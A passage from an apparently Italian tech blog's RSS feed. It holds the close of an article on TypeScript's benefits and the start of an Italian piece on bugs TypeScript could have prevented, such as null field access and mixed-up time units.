&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=15&amp;amp;pc=2#code/C4TwDgpgBACg9gSwHbCgXigbSQVwLYBGEATgDRS6EnmVHEC6A3ALABQbA9B1ADICGUAGY4kALwRwk0YgmBxiSAcGI5oAZ2gIANlDB9ifPBGVwoAC6gjYiFG2FIAxsAlIoCNQDU+WhABN4yMAAFPrEAFxQfEggmPQAlBGhbmrWgVAA3mxQUMTGOAqRxMQAdFoQSADmwAAW6GgYAMxQAGTNhSUQAG4kIEFBANZx6AB8UACE7gByfJMDcXEsrAC+bGwOkmqoYDaoGJgATOQARHxHTGwIglBB7l4+-jtB24HzGVlQXFAAkjqd3vLQCx-e5wcjbNRqBCGUx8BwOCC+EgOBDvdZINRwMqlOAVJ47A70KAAWigDQWbCWUAgWg0b1Y2U+PygwIBFEk5mZ3j8oKpUAAjqpNqYfFIBL59AADqlFVmAPg3APS7qI2mIg2NxzxQBOJpPJyyAA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;&lt;p&gt;We have seen how TypeScript can become a valid ally if you want to write safe and correct code, minimizing errors on &lt;em&gt;edge cases&lt;/em&gt; and time needed for tests.&lt;/p&gt;&lt;p&gt;Some might argue that everything we showed could be solved with proper testing or more attention. In SMC, however, we think that the value that TypeScript brings is really this: it decreases the cognitive load that developers have to use when writing code at the small cost of a little more verbosity. The types act as a reference and help thanks to the IDE, so we no longer have to look for the parameters of a function in the documentation (which is often not even updated).&lt;/p&gt;&lt;p&gt;In SMC we applied the use of TypeScript to every complex and mission-critical projects, obtaining a decrease in the time required for bugfixes, as much less bugs are found in the testing phase.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[3 bug che Typescript avrebbe potuto evitare]]></title><link>https://techblog.smc.ittypescript-use-cases</link><guid isPermaLink="false">https://techblog.smc.ittypescript-use-cases</guid><pubDate>Wed, 10 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ogni programmatore JavaScript, sia frontend che backend, avrà sicuramente provato sulla propria pelle i problemi di sviluppare senza un type checker. Quante volte avrete visto un errore di questo tipo?&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;Uncaught TypeError: Cannot read property &amp;#x27;value&amp;#x27; of undefined&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Questo criptico messaggio non ci sta dicendo altro che quella variabile non punta ad un oggetto ma a &lt;code&gt;undefined&lt;/code&gt;. Trovare la causa di questi errori non è troppo difficile se il progetto è di piccole dimensioni, ma diventa esponenzialmente più complicato man mano che il progetto cresce.&lt;/p&gt;&lt;p&gt;Per risolvere tutti questi problemi, fortunatamente, esiste un tool molto potente, &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt;. TypeScript è un superset di JavaScript che consente di aggiungere annotazioni di tipo al codice, fornendo strumenti di sviluppo che consentono di:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Verificare la &lt;strong&gt;correttezza dei tipi&lt;/strong&gt;, come ad esempio:&lt;ul&gt;&lt;li&gt;Accesso ai valori nulli&lt;/li&gt;&lt;li&gt;Campi mancanti su oggetti&lt;/li&gt;&lt;li&gt;&lt;em&gt;Edge case&lt;/em&gt; non implementati&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Autocompletamento&lt;/strong&gt; del codice in tempo reale in base ai tipi&lt;ul&gt;&lt;li&gt;Forte integrazione con IDE come &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Questo consente di avere &lt;strong&gt;documentazione&lt;/strong&gt; sempre aggiornata e corretta, visto che deriva direttamente dai tipi nel codice&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In questo articolo, però, non vi parleremo del linguaggio nello specifico, dato che possiede già una &lt;a href=&quot;https://www.typescriptlang.org/docs/home.html&quot;&gt;eccellente documentazione&lt;/a&gt; e molte guide dettagliate. Per dare veramente valore a questo strumento vorremmo invece raccontare la nostra esperienza, ossia, dove TypeScript ci è stato d&amp;#x27;aiuto per risolvere determinati problemi.&lt;/p&gt;&lt;h1 id=&quot;🧨-1-accesso-ai-campi-nulli&quot;&gt;🧨 1. Accesso ai campi nulli&lt;/h1&gt;&lt;p&gt;Una prima esperienza viene direttamente dal nostro Blog, nella gestione delle lingue.&lt;/p&gt;&lt;p&gt;Quando un utente visita il blog, viene salvata la lingua preferita in &lt;em&gt;Local Storage&lt;/em&gt;. Nel momento in cui l&amp;#x27;utente visita di nuovo la root, viene automaticamente reindirizzato alla lingua corretta, grazie ad una tabella che tiene la corrispondenza fra lingua e url di destinazione.&lt;/p&gt;&lt;p&gt;Questa implementazione poco attenta potrebbe funzionare, fino a quando però una lingua non viene cambiata/rimossa. Osservando molto attentamente il codice si trova l&amp;#x27;errore:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;it:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/it&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;en:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/en&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;defaultLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;it&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;IndexPage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Lingua preferita salvata su LocalStorage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;preferredLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;lang&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;preferredLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; || &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;defaultLanguageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;languageKey&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseUrl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Redirect&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=17&amp;amp;pc=2#code/MYewdgzgLgBANgQzAcwK4OQUwjAvDAbwFgAoGGASygC5CYAjBCTAVQCc5aAiAeiq5gBfADSlymMLQIMmrDtx4SBI0oIDcpUJFgATTADMEqOFAAySNBkwBpTAE88MLvw0lSmAB4AHEG10GjExh9VDBgKApwGABJMD0PAAUrAAoASkIxGB4eGFMKFHQYLzYDTDYqBBgIBDgANwQoSohUXJBgGoBlKF8rTK1oIpL9MpKdcwKrWwd8AHd8nRAZgDo4Ns7utislrChoqEwAW2SuRBQuVNc+8AHTyywpx2LStlHxu5t7GAAfL5g9Q2MZgs6Hu9lc5H6sC8DQAFo5biDsABtBGTewAXSWjGY7DglzIMBKUFQbDAMAAPAAlTA6CglcIwbq4AjQqAwwRZAB8rkEQA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Leggendo il valore &lt;code&gt;baseUrl&lt;/code&gt; della lingua, se la chiave &lt;code&gt;languageKey&lt;/code&gt; non è presente in languages verrà letto un campo &lt;code&gt;undefined&lt;/code&gt;. Questo causa una eccezione &lt;code&gt;TypeError: languages[languageKey] is undefined&lt;/code&gt;, che farà crashare React e l&amp;#x27;intera applicazione.&lt;/p&gt;&lt;p&gt;Se proviamo a far analizzare il codice a TypeScript, tenendolo as-is &lt;strong&gt;senza aggiungere nessuna annotazione di tipo&lt;/strong&gt;, ci verrà presentato il seguente errore:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8463e8b93889deb1d9272800e2c908a6/21e8f/error.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;105\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20105\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v52h401V0H281a1678%201678%200%2000-122%201A1538%201538%200%200014%200H0v53m80%2015c0%204%202%205%204%203h1v1l2-1-1-1v-1c2-1%204%200%202%202h20v1l1-2v-3l-5-1c-3%200-4%201-3%202h-2l-2-1h-3l-4-1%201%202h-1c-1-2-6-2-8%200-1%201-1%201-1-1l-1-2v3m34%200c0%203%202%204%202%202h5c0-2%200-2%201%200%202%201%2010%203%208%201h1l2-1h2c1%202%202%202%203%201l2-1h4l2%201c2%201%204%200%204-3%201-1%200-2-2-2l-4%201h-1c1-2%200-2-2-1h-13c-8%200-11%201-12%202s-1%201-1-1l-1-2v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8463e8b93889deb1d9272800e2c908a6/c85cb/error.webp 300w,/static/8463e8b93889deb1d9272800e2c908a6/e88ff/error.webp 600w,/static/8463e8b93889deb1d9272800e2c908a6/92f8c/error.webp 1200w,/static/8463e8b93889deb1d9272800e2c908a6/f114c/error.webp 1684w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8463e8b93889deb1d9272800e2c908a6/5a46d/error.png 300w,/static/8463e8b93889deb1d9272800e2c908a6/0a47e/error.png 600w,/static/8463e8b93889deb1d9272800e2c908a6/c1b63/error.png 1200w,/static/8463e8b93889deb1d9272800e2c908a6/21e8f/error.png 1684w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;L&amp;#x27;errore che riceviamo dal compilatore: sull&amp;#x27;oggetto languages non possiamo usare un indice di tipo string&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8463e8b93889deb1d9272800e2c908a6/c1b63/error.png&quot; title=&quot;L&amp;#x27;errore che riceviamo dal compilatore: sull&amp;#x27;oggetto languages non possiamo usare un indice di tipo string&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;L&amp;#x27;errore che riceviamo dal compilatore: sull&amp;#x27;oggetto languages non possiamo usare un indice di tipo string&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Typescript è stato in grado di trovare l&amp;#x27;accesso pericoloso senza bisogno di nessuna annotazione aggiuntiva, salvandoci da un crash&lt;/strong&gt; &lt;em&gt;(provare per credere sul &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=17&amp;amp;pc=2#code/MYewdgzgLgBANgQzAcwK4OQUwjAvDAbwFgAoGGASygC5CYAjBCTAVQCc5aAiAeiq5gBfADSlymMLQIMmrDtx4SBI0oIDcpUJFgATTADMEqOFAAySNBkwBpTAE88MLvw0lSmAB4AHEG10GjExh9VDBgKApwGABJMD0PAAUrAAoASkIxGB4eGFMKFHQYLzYDTDYqBBgIBDgANwQoSohUXJBgGoBlKF8rTK1oIpL9MpKdcwKrWwd8AHd8nRAZgDo4Ns7utislrChoqEwAW2SuRBQuVNc+8AHTyywpx2LStlHxu5t7GAAfL5g9Q2MZgs6Hu9lc5H6sC8DQAFo5biDsABtBGTewAXSWjGY7DglzIMBKUFQbDAMAAPAAlTA6CglcIwbq4AjQqAwwRZAB8rkEQA&quot;&gt;Playground&lt;/a&gt;)&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Come abbiamo detto all&amp;#x27;inizio, questo specifico caso viene dal nostro blog, che è stato scritto in plain JavaScript. Se avessimo utilizzato TypeScript fin dall&amp;#x27;inizio ci saremmo accorti ben prima di questo bug, addirittura durante lo sviluppo, e non dopo giorni che il blog era in produzione. TypeScript quindi si dimostra molto utile per evitare questa intera classe di errori, con un effort minimo di annotazione dei tipi, riducendo di molto il tempo necessario per il testing.&lt;/p&gt;&lt;p&gt;Poter verificare gli accessi a campi nulli rende TypeScript ancora più potente e sicuro di altri compilatori, come ad esempio Java, dove la gestione dei &lt;code&gt;null&lt;/code&gt; viene addirittura definita il &lt;a href=&quot;https://www.lucidchart.com/techblog/2015/08/31/the-worst-mistake-of-computer-science/?ref=hackernoon.com&quot;&gt;&lt;em&gt;&amp;quot;million dollar mistake&amp;quot;&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;-2-tipizzare-valori-numerici-gestire-le-unità-di-tempo&quot;&gt;⏱ 2. Tipizzare valori numerici: gestire le unità di Tempo&lt;/h1&gt;&lt;p&gt;Un altro tra i problemi più complicati da gestire quando si sviluppano applicazioni è sicuramente la gestione del tempo. Gestire durate, timestamp e timezone richiede molta attenzione, altrimenti può portare facilmente ad errori off-by-one o nelle unità di misura.&lt;/p&gt;&lt;p&gt;Immaginiamo di dover gestire con un&amp;#x27;applicazione web gli orari dei dipendenti. Riceviamo da un servizio le informazioni di un dipendente, comprese le sue ore lavorative per contratto, salvate come minuti in formato JSON.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;John Doe&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shiftHours:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// number&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuesday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;wednesday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;thursday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;180&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;friday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;saturday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sunday:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo caso, TypeScript interpeta il tipo dei valori di &lt;code&gt;shiftHours&lt;/code&gt; come &lt;code&gt;number&lt;/code&gt;. Questo potrebbe sembrare innocuo, ma non ci permette di verificare il fatto che &lt;em&gt;sono codificati come minuti, non come ore&lt;/em&gt;. A meno di scriverlo nella documentazione, un altro sviluppatore potrebbe facilmente sbagliarsi e scambiare l&amp;#x27;unità di misura, interpretando il numero come ore.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span 